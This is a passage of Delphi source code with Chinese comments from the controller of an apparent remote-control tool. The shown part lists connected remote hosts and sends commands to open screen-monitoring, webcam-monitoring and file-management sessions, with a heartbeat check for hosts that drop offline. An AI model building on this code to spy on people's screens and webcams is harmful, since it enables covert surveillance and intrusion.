📄 mainwindow.pas
字号:
Exit;
end;
//创建屏传显示类
myDisplayRemoteScreen := TDisplayRemoteScreen.Create(self);
myPHandledata.AllCtrlInstance.CapScreenInstance := DWORD(myDisplayRemoteScreen);
ZeroMemory(@CMDHeader, sizeof(CMDHeader));
CMDHeader.OrderObject := CapScreen;
//将本mainsocket单io数据指针传递过去
CMDHeader.OrderExtend := DWORD(myPHandledata);
SetCmdSignByte(myPHandledata^.Socket, CMDHeader, False);
//分离出外部IP地址
InternalIP := (LVServerList.items.item[LVServerList.ItemIndex].subitems.strings[0]);
InternalIP := copy(InternalIP, 0, Pos('/', InternalIP) - 1);
//得到client的地理位置
InternalAddress := LVServerList.items.item[LVServerList.ItemIndex].Caption;
myDisplayRemoteScreen.CaptionStr := InternalAddress + '-->' + InternalIP;
//设置屏传标题
SetWindowText(myDisplayRemoteScreen.Handle,
Pchar(myDisplayRemoteScreen.CaptionStr + ',正在进行屏幕监控'));
//显示屏传窗口
myDisplayRemoteScreen.Show;
end;
procedure TMainForm.TBViewWebCamClick(Sender: TObject);
var
InternalIP, InternalAddress : string;
myVideoForm : TVideoForm;
myPHandledata : PPerHandleData;
CMDHeader : TInterChangeHeader;
begin
//如果没有选行,则退出
if (LVServerList.SelCount = 0) then
begin
Exit;
end;
//得到单IO数据指针
myPHandledata := PPerHandleData(
StrToInt(LVServerList.items.item[LVServerList.ItemIndex].subitems.strings[8]));
//判断是否有实例已经建立
if Assigned(TVideoForm(myPHandledata.AllCtrlInstance.CapVideoInstance)) then
begin
myVideoForm := TVideoForm(myPHandledata.AllCtrlInstance.CapVideoInstance);
BringWindowToTop(myVideoForm.Handle);
Exit;
end;
//创建屏传显示类
myVideoForm := TVideoForm.Create(Self);
myPHandledata.AllCtrlInstance.CapVideoInstance := DWORD(myVideoForm);
ZeroMemory(@CMDHeader, sizeof(CMDHeader));
CMDHeader.OrderObject := CapVideo;
//将本mainsocket单io数据指针传递过去
CMDHeader.OrderExtend := DWORD(myPHandledata);
SetCmdSignByte(myPHandledata^.Socket, CMDHeader, False);
//分离出外部IP地址
InternalIP := (LVServerList.items.item[LVServerList.ItemIndex].subitems.strings[0]);
InternalIP := copy(InternalIP, 0, Pos('/', InternalIP) - 1);
//得到client的地理位置
InternalAddress := LVServerList.items.item[LVServerList.ItemIndex].Caption;
myVideoForm.CaptionStr := InternalAddress + '-->' + InternalIP;
//设置标题
SetWindowText(myVideoForm.Handle,
Pchar(myVideoForm.CaptionStr + ',正在进行视频监控'));
//显示屏传窗口
myVideoForm.Show;
end;
//发送文件列表管理命令
procedure TMainForm.TBSystemManageClick(Sender: TObject);
var
InternalIP, InternalAddress : string;
myFileAndInfoCtrlForm : TFileAndInfoCtrlForm;
myPHandledata : PPerHandleData;
CMDHeader : TInterChangeHeader;
begin
//如果没有选行,则退出
if (LVServerList.SelCount = 0) then
begin
Exit;
end;
//得到单IO数据指针
myPHandledata := PPerHandleData(
StrToInt(LVServerList.items.item[LVServerList.ItemIndex].subitems.strings[8]));
//判断是否有实例已经建立
if Assigned(TFileAndInfoCtrlForm(myPHandledata.AllCtrlInstance.GetSystemInfoInstance)) then
begin
myFileAndInfoCtrlForm := TFileAndInfoCtrlForm(myPHandledata.AllCtrlInstance.GetSystemInfoInstance);
BringWindowToTop(myFileAndInfoCtrlForm.Handle);
Exit;
end;
//创建屏传显示类
myFileAndInfoCtrlForm := TFileAndInfoCtrlForm.Create(Self);
myPHandledata.AllCtrlInstance.GetSystemInfoInstance := DWORD(myFileAndInfoCtrlForm);
//发送消息,让client建立系统管理socket
ZeroMemory(@CMDHeader, sizeof(CMDHeader));
CMDHeader.OrderObject := GetSystemInfo;
CMDHeader.OrderExtend := DWORD(myPHandledata);//将本mainsocket单io数据指针传递过去
SetCmdSignByte(myPHandledata^.Socket, CMDHeader, False);
//然后发送消息,让client建立文件传输socket
CMDHeader.OrderObject := TransmitFiles;
CMDHeader.OrderExtend := DWORD(myPHandledata);
SetCmdSignByte(myPHandledata^.Socket, CMDHeader, False);
//分离出外部IP地址
InternalIP := (LVServerList.items.item[LVServerList.ItemIndex].subitems.strings[0]);
InternalIP := copy(InternalIP, 0, Pos('/', InternalIP) - 1);
//得到client的地理位置
InternalAddress := LVServerList.items.item[LVServerList.ItemIndex].Caption;
myFileAndInfoCtrlForm.CaptionStr := InternalAddress + '-->' + InternalIP;
//设置标题
SetWindowText(myFileAndInfoCtrlForm.Handle,
Pchar(myFileAndInfoCtrlForm.CaptionStr + ',正在进行系统管理'));
//显示屏传窗口
myFileAndInfoCtrlForm.Show;
end;
//变更昵称
procedure TMainForm.ChangeRemoteNickClick(Sender: TObject);
var
NikeName : string;
TmpMainSocket : TSocket;
begin
{if LVServerList.SelCount = 0 then Exit;
TmpMainSocket := StrToInt(LVServerList.items.item[LVServerList.ItemIndex].subitems.strings[7]);
if not InputQuery('新备注输入', '请输入新的备注', NikeName) then Exit;
SetCmdSignByte(TmpMainSocket, Byte(RemoteNickNameData), False, 0, 0, NikeName); }
end;
(*----------------------以下主要进行响应普通的窗口操作指令-----------------------*)
//创建窗口
procedure TMainForm.FormCreate(Sender: TObject);
begin
//初始化临界区
InitializeCriticalSection(g_VariableAccessSemaphore);
StartIOCPServer;
end;
procedure TMainForm.TBCloseClick(Sender: TObject);
begin
Close;
end;
procedure TMainForm.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
if Application.MessageBox('真的要退出程序吗?', '确认', MB_YESNO or MB_ICONQUESTION) <> IDYES then
CanClose := False
else
begin
CanClose := True;
end;
end;
procedure TMainForm.FormClose(Sender: TObject; var Action: TCloseAction);
begin
try
CleanUp;
//删除临界区
DeleteCriticalSection(g_VariableAccessSemaphore);
except
end;
end;
//关于
procedure TMainForm.TBAboutClick(Sender: TObject);
begin
OKRightDlg.ShowModal;
end;
//主机排序
procedure TMainForm.LVServerListColumnClick(Sender: TObject;
Column: TListColumn);
begin
ClientListSortCol := Column.Index;
if (ClientListSortWay = 1) then ClientListSortWay := -1 else ClientListSortWay := 1;
(Sender as TCustomListView).AlphaSort;
end;
//主机排序
procedure TMainForm.LVServerListCompare(Sender: TObject; Item1,
Item2: TListItem; Data: Integer; var Compare: Integer);
var
t : Integer;
begin
if (ClientListSortCol = 0) then
begin
Compare := ClientListSortWay * CompareText(Item1.Caption, Item2.Caption);
end
else
begin
t := ClientListSortCol - 1;
Compare := ClientListSortWay * CompareText(Item1.SubItems[t], Item2.SubItems[t]);
end;
end;
//每1分钟遍历一遍,看看主机是否下线--这里只对非正常下线的有处理的机会
procedure TMainForm.HeartCheckTimerTimer(Sender: TObject);
var
i : Longint;
mySystemTime : TSystemTime;
TimeStr : string;
myPHandledata : PPerHandleData;
myDisplayRemoteScreen : TDisplayRemoteScreen;
myVideoForm : TVideoForm;
myFileAndInfoCtrlForm : TFileAndInfoCtrlForm;
//
begin
try
if LVServerList.Items.Count = 0 then Exit;
//和上线列表加入互斥
EnterCriticalSection(g_VariableAccessSemaphore);
for i := LVServerList.Items.Count - 1 downto 0 do
begin
//得到单IO数据指针
myPHandledata := PPerHandleData(
StrToInt(LVServerList.items.item[i].subitems.strings[8]));
//检测不到数据包了,则说明远程主机下线
if not myPHandledata^.IsAlive then
begin
//屏传
if myPHandledata^.AllCtrlInstance.CapScreenInstance <> 0 then
begin
myDisplayRemoteScreen := TDisplayRemoteScreen(myPHandledata^.AllCtrlInstance.CapScreenInstance);
myDisplayRemoteScreen.Caption := myDisplayRemoteScreen.CaptionStr + '远程主机已下线';
//释放单io数据
if myDisplayRemoteScreen.SubClientSocketIP_IO <> nil then
FreeOverlappedPlus(myDisplayRemoteScreen.SubClientSocketIP_IO);
myDisplayRemoteScreen.MainClientSocketIP_IO := nil;
//关闭socket
shutdown(myDisplayRemoteScreen.ClientSocket, SD_BOTH);
CloseSocket(myDisplayRemoteScreen.ClientSocket);
end;
//视频
if myPHandledata^.AllCtrlInstance.CapVideoInstance <> 0 then
begin
myVideoForm := TVideoForm(myPHandledata^.AllCtrlInstance.CapVideoInstance);
myVideoForm.Caption := myVideoForm.CaptionStr + '远程主机已下线';
//释放单io数据
if myVideoForm.SubClientSocketIP_IO <> nil then
FreeOverlappedPlus(myVideoForm.SubClientSocketIP_IO);
myVideoForm.MainClientSocketIP_IO := nil;
//关闭socket
shutdown(myVideoForm.ClientSocket, SD_BOTH);
CloseSocket(myVideoForm.ClientSocket);
end;
//系统信息和文件传输
if myPHandledata^.AllCtrlInstance.GetSystemInfoInstance <> 0 then
begin
myFileAndInfoCtrlForm := TFileAndInfoCtrlForm(myPHandledata^.AllCtrlInstance.GetSystemInfoInstance);
myFileAndInfoCtrlForm.Caption := myFileAndInfoCtrlForm.CaptionStr + '远程主机已下线';
//释放单io数据,sysinfo
if myFileAndInfoCtrlForm.SubClientSocketIP_IO <> nil then
FreeOverlappedPlus(myFileAndInfoCtrlForm.SubClientSocketIP_IO);
myFileAndInfoCtrlForm.MainClientSocketIP_IO := nil;
//关闭socket, sysinfo
shutdown(myFileAndInfoCtrlForm.ClientSocket, SD_BOTH);
CloseSocket(myFileAndInfoCtrlForm.ClientSocket);
end;
//音频
//......
//主机下线的通知
LVServerList.Items.Delete(i); //
GetSystemTime(mySystemTime);
TimeStr := Format('%d-%d-%d %d:%d', [mySystemTime.wYear, mySystemTime.wMonth, mySystemTime.wDay,
mySystemTime.wHour, mySystemTime.wMinute]);
MemoMsg.Lines.Add(TimeStr +
' 远程主机:' + myPHandledata^.ExternalIPaddressString + '下线');
//关闭socket
shutdown(myPHandledata^.Socket, SD_BOTH);
CloseSocket(myPHandledata^.Socket);
//释放结构内存资源
FreeOverlappedPlus(myPHandledata);
end;
//重置心跳为False
if myPHandledata <> nil then
myPHandledata^.IsAlive := False;
end;
StatusBarMsg.Panels[2].Text := '共有上线主机:'
+ IntToStr(LVServerList.Items.Count) + '台';
LeaveCriticalSection(g_VariableAccessSemaphore);
except
end;
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -